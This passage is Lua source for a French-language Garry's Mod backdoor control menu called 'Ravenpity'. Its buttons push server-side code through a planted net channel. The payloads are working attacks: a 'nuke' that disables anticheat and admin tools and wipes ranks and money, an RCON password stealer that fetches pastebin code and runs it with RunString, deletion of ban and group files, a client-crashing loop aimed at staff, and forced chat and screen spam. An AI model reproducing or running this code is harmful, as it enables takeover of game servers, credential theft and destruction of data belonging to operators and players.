- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if changeplayermodelon:IsHovered() then
- changeplayermodelon:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- changeplayermodelon:SetTextColor( Color( 255, 255, 255 ) )
- end
- changeplayermodelon.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Model des Joueurs changé" )
- end
- end
- local changeplayermodeloff = vgui.Create( "DButton", BackgroundSupportPanel)
- changeplayermodeloff:SetPos( 365, 65)
- changeplayermodeloff:SetSize( 20, 20 )
- changeplayermodeloff:SetText( "X" )
- changeplayermodeloff.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if changeplayermodeloff:IsHovered() then
- changeplayermodeloff:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- changeplayermodeloff:SetTextColor( Color( 255, 255, 255 ) )
- end
- changeplayermodeloff.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/Humans/Group01/male_02.mdl\") end" )
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Model des Joueurs remit par Défault" )
- end
- end
- -------------------------------------------------------------------------------------|
- local ddplayeron = vgui.Create( "DButton", BackgroundSupportPanel)
- ddplayeron:SetPos( 0, 90)
- ddplayeron:SetSize( 400, 30 )
- ddplayeron:SetText( "2d Player" )
- ddplayeron.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ddplayeron:IsHovered() then
- ddplayeron:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ddplayeron:SetTextColor( Color( 255, 255, 255 ) )
- end
- ddplayeron.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[
- for k,v in pairs(player.GetAll()) do
- local a = v:LookupBone("ValveBiped.Bip01_Head1")
- local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
- local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
- local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
- local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
- local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
- local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
- local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
- local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
- local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
- local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
- v:ManipulateBoneScale( a, Vector(4,0,4))
- v:ManipulateBoneScale( b, Vector(0,0,0))
- v:ManipulateBoneScale( c, Vector(0,0,0))
- v:ManipulateBoneScale( d, Vector(0,0,1))
- v:ManipulateBoneScale( e, Vector(0,0,1))
- v:ManipulateBoneScale( f, Vector(0,0,0))
- v:ManipulateBoneScale( g, Vector(0,0,0))
- v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
- v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
- v:ManipulateBoneScale( j, Vector(0,0,0))
- v:ManipulateBoneScale( k, Vector(0,0,0))
- end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "2d Players activé" )
- end
- end
- local ddplayeroff = vgui.Create( "DButton", BackgroundSupportPanel)
- ddplayeroff:SetPos( 365, 95)
- ddplayeroff:SetSize( 20, 20 )
- ddplayeroff:SetText( "X" )
- ddplayeroff.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ddplayeroff:IsHovered() then
- ddplayeroff:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- ddplayeroff:SetTextColor( Color( 255, 255, 255 ) )
- end
- ddplayeroff.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[
- for k,v in pairs(player.GetAll()) do
- local a = v:LookupBone("ValveBiped.Bip01_Head1")
- local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
- local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
- local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
- local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
- local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
- local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
- local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
- local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
- local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
- local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
- v:ManipulateBoneScale( a, Vector(1,1,1))
- v:ManipulateBoneScale( b, Vector(1,1,1))
- v:ManipulateBoneScale( c, Vector(1,1,1))
- v:ManipulateBoneScale( d, Vector(1,1,1))
- v:ManipulateBoneScale( e, Vector(1,1,1))
- v:ManipulateBoneScale( f, Vector(1,1,1))
- v:ManipulateBoneScale( g, Vector(1,1,1))
- v:ManipulateBoneScale( h, Vector(1,1,1))
- v:ManipulateBoneScale( i, Vector(1,1,1))
- v:ManipulateBoneScale( j, Vector(1,1,1))
- v:ManipulateBoneScale( k, Vector(1,1,1))
- end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "2d Players désactivé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local bighead = vgui.Create( "DButton", BackgroundSupportPanel)
- bighead:SetPos( 0, 120)
- bighead:SetSize( 400, 30 )
- bighead:SetText( "Grosse Tete" )
- bighead.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if bighead:IsHovered() then
- bighead:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- bighead:SetTextColor( Color( 255, 255, 255 ) )
- end
- bighead.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[
- for k,v in pairs(player.GetAll()) do
- local a = v:LookupBone("ValveBiped.Bip01_Head1")
- local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
- local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
- local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
- local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
- local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
- local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
- local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
- local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
- local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
- local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
- v:ManipulateBoneScale( a, Vector(100,100,100))
- v:ManipulateBoneScale( b, Vector(100,100,100))
- v:ManipulateBoneScale( c, Vector(100,100,100))
- v:ManipulateBoneScale( d, Vector(100,100,100))
- v:ManipulateBoneScale( e, Vector(100,100,100))
- v:ManipulateBoneScale( f, Vector(100,100,100))
- v:ManipulateBoneScale( g, Vector(100,100,100))
- v:ManipulateBoneScale( h, Vector(100,100,100))
- v:ManipulateBoneScale( i, Vector(100,100,100))
- v:ManipulateBoneScale( j, Vector(100,100,100))
- v:ManipulateBoneScale( k, Vector(100,100,100))
- end]])
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Grosse tête activé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local giantworld = vgui.Create( "DButton", BackgroundSupportPanel)
- giantworld:SetPos( 0, 150)
- giantworld:SetSize( 400, 30 )
- giantworld:SetText( "Joueurs Géants" )
- giantworld.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if giantworld:IsHovered() then
- giantworld:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- giantworld:SetTextColor( Color( 255, 255, 255 ) )
- end
- giantworld.DoClick = function()
- local giant = [[
- hook.Add("Think", "giant", function()
- for k,v in pairs (player.GetAll()) do
- v:SetModelScale(50.5, 100);
- v:SetRunSpeed(400 * 2);
- v:SetWalkSpeed(200 * 2);
- end
- end)]]
- net.Start(ravenhacknet)
- net.WriteString( giant )
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Monde de Géants activé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local minimoysworld = vgui.Create( "DButton", BackgroundSupportPanel)
- minimoysworld:SetPos( 0, 180)
- minimoysworld:SetSize( 400, 30 )
- minimoysworld:SetText( "Joueurs Nains" )
- minimoysworld.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if minimoysworld:IsHovered() then
- minimoysworld:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- minimoysworld:SetTextColor( Color( 255, 255, 255 ) )
- end
- minimoysworld.DoClick = function()
- local tall = [[
- hook.Add("Think", "tall", function()
- for k,v in pairs (player.GetAll()) do
- v:SetModelScale(0.2, 80);
- v:SetRunSpeed(400 * 2);
- v:SetWalkSpeed(200 * 2);
- end
- end)]]
- net.Start(ravenhacknet)
- net.WriteString( tall )
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Monde de Nains activé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local runlikeflash = vgui.Create( "DButton", BackgroundSupportPanel)
- runlikeflash:SetPos( 0, 210)
- runlikeflash:SetSize( 400, 30 )
- runlikeflash:SetText( "Courrir Vite" )
- runlikeflash.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if runlikeflash:IsHovered() then
- runlikeflash:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- runlikeflash:SetTextColor( Color( 255, 255, 255 ) )
- end
- runlikeflash.DoClick = function()
- local speedhack = [[
- hook.Add("Think", "speedhack", function()
- for k,v in pairs (player.GetAll()) do
- v:SetRunSpeed(400* 4);
- v:SetWalkSpeed(200 * 2);
- end
- end)]]
- net.Start(ravenhacknet)
- net.WriteString( speedhack )
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Courrir vite activé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local forceplayersay = vgui.Create( "DButton", BackgroundSupportPanel)
- forceplayersay:SetPos( 0, 240)
- forceplayersay:SetSize( 400, 30 )
- forceplayersay:SetText( "Forcer les Joueurs à écrire" )
- forceplayersay.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if forceplayersay:IsHovered() then
- forceplayersay:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- forceplayersay:SetTextColor( Color( 255, 255, 255 ) )
- end
- forceplayersay.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do
- v:ConCommand("say Ravenpity <3 (hoperdev.fr)")
- end
- ]])
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tout les Joueurs ont envoyés un Message" )
- end
- end
- end
- /*======================================================================================================================================================================================
- Server Options
- ========================================================================================================================================================================================*/
- function RAVEN.ServerOptions()
- if RAVEN.ServerOptionsListe and RAVEN.ServerOptionsListe:IsVisible() then RAVEN.ServerOptionsListe:Remove() end
- RAVEN.ServerOptionsListe = vgui.Create("DFrame")
- RAVEN.ServerOptionsListe:SetSize(682,350)
- RAVEN.ServerOptionsListe:SetTitle("")
- RAVEN.ServerOptionsListe:SetPos( 342, 250 )
- RAVEN.ServerOptionsListe:MakePopup()
- RAVEN.ServerOptionsListe:ShowCloseButton( false )
- RAVEN.ServerOptionsListe.Paint = function( s, w, h )
- if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
- surface.SetDrawColor( Color(30, 30, 30, 255) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(55, 55, 55, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- end
- local CloseButtonServerOptions = vgui.Create( "DButton", BackgroundSupportPanel)
- CloseButtonServerOptions:SetPos( 0, 370)
- CloseButtonServerOptions:SetSize( 400, 30 )
- CloseButtonServerOptions:SetText( "X" )
- CloseButtonServerOptions.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if CloseButtonServerOptions:IsHovered() then
- CloseButtonServerOptions:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- CloseButtonServerOptions:SetTextColor( Color( 255, 255, 255 ) )
- end
- CloseButtonServerOptions.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- end
- end
- local ReturnButtonServerOptions = vgui.Create( "DButton", BackgroundSupportPanel)
- ReturnButtonServerOptions:SetPos( 0, 340)
- ReturnButtonServerOptions:SetSize( 400, 30 )
- ReturnButtonServerOptions:SetText( "<--" )
- ReturnButtonServerOptions.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ReturnButtonServerOptions:IsHovered() then
- ReturnButtonServerOptions:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ReturnButtonServerOptions:SetTextColor( Color( 255, 255, 255 ) )
- end
- ReturnButtonServerOptions.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- LocalPlayer():ConCommand("ravenpity_start")
- end
- end
- -------------------------------------------------------------------------------------|
- local deleteserv = vgui.Create( "DButton", BackgroundSupportPanel)
- deleteserv:SetPos( 0, 0)
- deleteserv:SetSize( 400, 30 )
- deleteserv:SetText( "Supprimer le Serveur" )
- deleteserv.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if deleteserv:IsHovered() then
- deleteserv:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- deleteserv:SetTextColor( Color( 255, 86, 86 ) )
- end
- deleteserv.DoClick = function()
- local nuke = [[
- if( LeyAC ) then
- LeyAC = nil;
- end
- timer.Create( "next_level_timer2", 20, 0, function()
- --Break some bad cmds
- local bad = {"Ban","Kick","Kill","KillSilent","GodEnable","GodDisable"} for k,v in next, bad do FindMetaTable("Player")[v] = nil end
- --Break ULX
- if ULib then
- for k,v in pairs(player.GetAll()) do
- ULib.ucl.addUser( v:SteamID(), {}, {}, "user" );
- end
- for k,v in pairs(ULib.ucl.groups) do
- if k != "user" then
- ULib.ucl.removeGroup(k);
- end
- end
- for k,v in pairs(ULib.ucl.users) do
- v.group = "user"
- end
- end
- --Gamemode related
- if GAMEMODE.Name == "DarkRP" then
- for k,v in pairs(player.GetAll()) do
- RunConsoleCommand("rp_setmoney", v:Nick(), 0);
- end
- hook.Add("PlayerInitialSpawn", "darkrp_specific_persistence", function( ply )
- RunConsoleCommand("rp_setmoney", ply:Nick(), 0);
- end)
- end
- if GAMEMODE.Name == "Trouble in Terrorist Town" then //something here?
- //for k, v in pairs(player.GetAll()) do
- //end
- end
- if net.WriteString.find( GAMEMODE.Name:lower(), "stronghold" ) then
- for k,v in pairs(player.GetAll()) do
- RunConsoleCommand("gbux_setmoney", v:Nick(), 0);
- end
- hook.Add("PlayerInitialSpawn", "stronghold_specific_persistence", function( ply )
- RunConsoleCommand("gbux_setmoney", ply:Nick(), 0);
- end)
- local fil = file.Find( "data/stronghold/playerinfo/*.txt", "GAME" )
- for k, v in pairs( fil ) do
- file.Delete( fil )
- end
- end
- end)
- if GetConVarnet.WriteString("sv_allowcslua") != "0" then
- RunConsoleCommand( "sv_allowcslua", "1" );
- end
- hook.Add("Think", "busted", function()
- for k,v in pairs (player.GetAll()) do
- v:SetModelScale(2.5, 100);
- v:SetRunSpeed(400 * 2);
- v:SetWalkSpeed(200 * 2);
- end
- end)
- timer.Create( "next_level_timer", 5, 0, function()
- for k, v in pairs(player.GetAll()) do
- v:ConCommand("say 亗 https://steamcommunity.com/id/hxpxr 亗");
- end
- end)
- RunConsoleCommand("hostname", "SERVER HACK LEL")
- RunConsoleCommand( "sv_loadingurl", "http://uu.esy.es/zyqv6r7n/seized.html" )
- ]]
- net.Start(ravenhacknet)
- net.WriteString( nuke )
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Suppression en cours... Les effets seront visibles après le Reboot" )
- end
- end
- -------------------------------------------------------------------------------------|
- local rconstealer = vgui.Create( "DButton", BackgroundSupportPanel)
- rconstealer:SetPos( 0, 30)
- rconstealer:SetSize( 400, 30 )
- rconstealer:SetText( "Rcon Stealer" )
- rconstealer.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if rconstealer:IsHovered() then
- rconstealer:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- rconstealer:SetTextColor( Color( 128, 119, 255 ) )
- end
- rconstealer.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "http.Fetch(\"https://pastebin.com/raw/u5qnn5kw\",function(b,l,h,c)RunString(b)end,nil)" )
- net.WriteBit(1)
- net.SendToServer()
- timer.Simple( 0.5, function()
- if RAVEN.ValidNetString( "jeveuttonrconleul" ) then
- net.Start("jeveuttonrconleul")
- net.SendToServer()
- else
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "RCON PASSWORD non-trouvé, veuillez réessayer" )
- end
- end)
- end
- net.Receive( "rcon_passw_dump", function()
- local rcon_pass = net.ReadString()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), rcon_pass, Color(0, 255, 0)," RCON PASSWORD trouvé")
- end )
- net.Receive( "aucun_rcon_ici", function()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Aucun RCON PASSWORD ici" )
- end )
- end
- -------------------------------------------------------------------------------------|
- local squeletondanse = vgui.Create( "DButton", BackgroundSupportPanel)
- squeletondanse:SetPos( 0, 60)
- squeletondanse:SetSize( 400, 30 )
- squeletondanse:SetText( "Squeleton Danse" )
- squeletondanse.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if squeletondanse:IsHovered() then
- squeletondanse:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- squeletondanse:SetTextColor( Color( 255, 255, 255 ) )
- end
- squeletondanse.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "http.Fetch(\"https://pastebin.com/raw/YNNHStGE\",function(b,l,h,c)RunString(b)end,nil)" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Squeleton Danse lançé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local hackbymood = vgui.Create( "DButton", BackgroundSupportPanel)
- hackbymood:SetPos( 0, 90)
- hackbymood:SetSize( 400, 30 )
- hackbymood:SetText( "Spam Visuel" )
- hackbymood.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if hackbymood:IsHovered() then
- hackbymood:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- hackbymood:SetTextColor( Color( 255, 255, 255 ) )
- end
- hackbymood.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(200,158) hud:SetPos(0,0) hud:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud2 = vgui.Create(\"HTML\") hud2:MoveToFront() hud2:SetSize(200,158) hud2:SetPos(0,ScrH()-158) hud2:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) v:SendLua([[local hud3 = vgui.Create(\"HTML\") hud3:MoveToFront() hud3:SetSize(200,158) hud3:SetPos(ScrW()-200,0) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud4 = vgui.Create(\"HTML\") hud4:MoveToFront() hud4:SetSize(200,158) hud4:SetPos(ScrW()-200,ScrH()-158) hud4:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) timer.Create( \"spamsondeouf\", 1, 0, function() v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end) v:SendLua([[hook.Add(\"HUDPaint\",\"c\", function() draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(math.random(1,255),math.random(1,255),math.random(1,255),155)) end)]]) end BroadcastLua([[hook.Add( \"RenderScreenspaceEffects\", \"ohgod\", function() local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) DrawMaterialOverlay( \"effects/tp_eyefx/tpeye\", 1 ) end)]]) BroadcastLua([[timer.Create( \"thedrop\", 0.42, 0, function() util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) end )]]) BroadcastLua([[local hud3 = vgui.Create(\"HTML\") hud3:SetSize(400,300) hud3:SetPos(ScrW()/2-200,ScrH()/2-150) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531253-skel2.gif\")]])" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Spam Visuel lançé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local screamer = vgui.Create( "DButton", BackgroundSupportPanel)
- screamer:SetPos( 0, 120)
- screamer:SetSize( 400, 30 )
- screamer:SetText( "Screamer" )
- screamer.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if screamer:IsHovered() then
- screamer:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- screamer:SetTextColor( Color( 255, 255, 255 ) )
- end
- screamer.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Screamer lançé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local deleterank = vgui.Create( "DButton", BackgroundSupportPanel)
- deleterank:SetPos( 0, 150)
- deleterank:SetSize( 400, 30 )
- deleterank:SetText( "Supprimer les Grades" )
- deleterank.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if deleterank:IsHovered() then
- deleterank:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- deleterank:SetTextColor( Color( 255, 255, 255 ) )
- end
- deleterank.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Supression en cours..." )
- end
- end
- -------------------------------------------------------------------------------------|
- local resetmoney = vgui.Create( "DButton", BackgroundSupportPanel)
- resetmoney:SetPos( 0, 180)
- resetmoney:SetSize( 400, 30 )
- resetmoney:SetText( "Reset l'Argent" )
- resetmoney.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if resetmoney:IsHovered() then
- resetmoney:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- resetmoney:SetTextColor( Color( 255, 255, 255 ) )
- end
- resetmoney.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "L'argent a été Reset" )
- end
- end
- -------------------------------------------------------------------------------------|
- local debanall = vgui.Create( "DButton", BackgroundSupportPanel)
- debanall:SetPos( 0, 210)
- debanall:SetSize( 400, 30 )
- debanall:SetText( "Débannir tout le Monde" )
- debanall.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if debanall:IsHovered() then
- debanall:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- debanall:SetTextColor( Color( 255, 255, 255 ) )
- end
- debanall.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tout le monde a été Déban" )
- end
- end
- -------------------------------------------------------------------------------------|
- local crashsuperadmin = vgui.Create( "DButton", BackgroundSupportPanel)
- crashsuperadmin:SetPos( 0, 240)
- crashsuperadmin:SetSize( 400, 30 )
- crashsuperadmin:SetText( "Crash Superadmin" )
- crashsuperadmin.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if crashsuperadmin:IsHovered() then
- crashsuperadmin:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- crashsuperadmin:SetTextColor( Color( 255, 255, 255 ) )
- end
- crashsuperadmin.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( " for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Les Superadmins sont en train de Crash" )
- end
- end
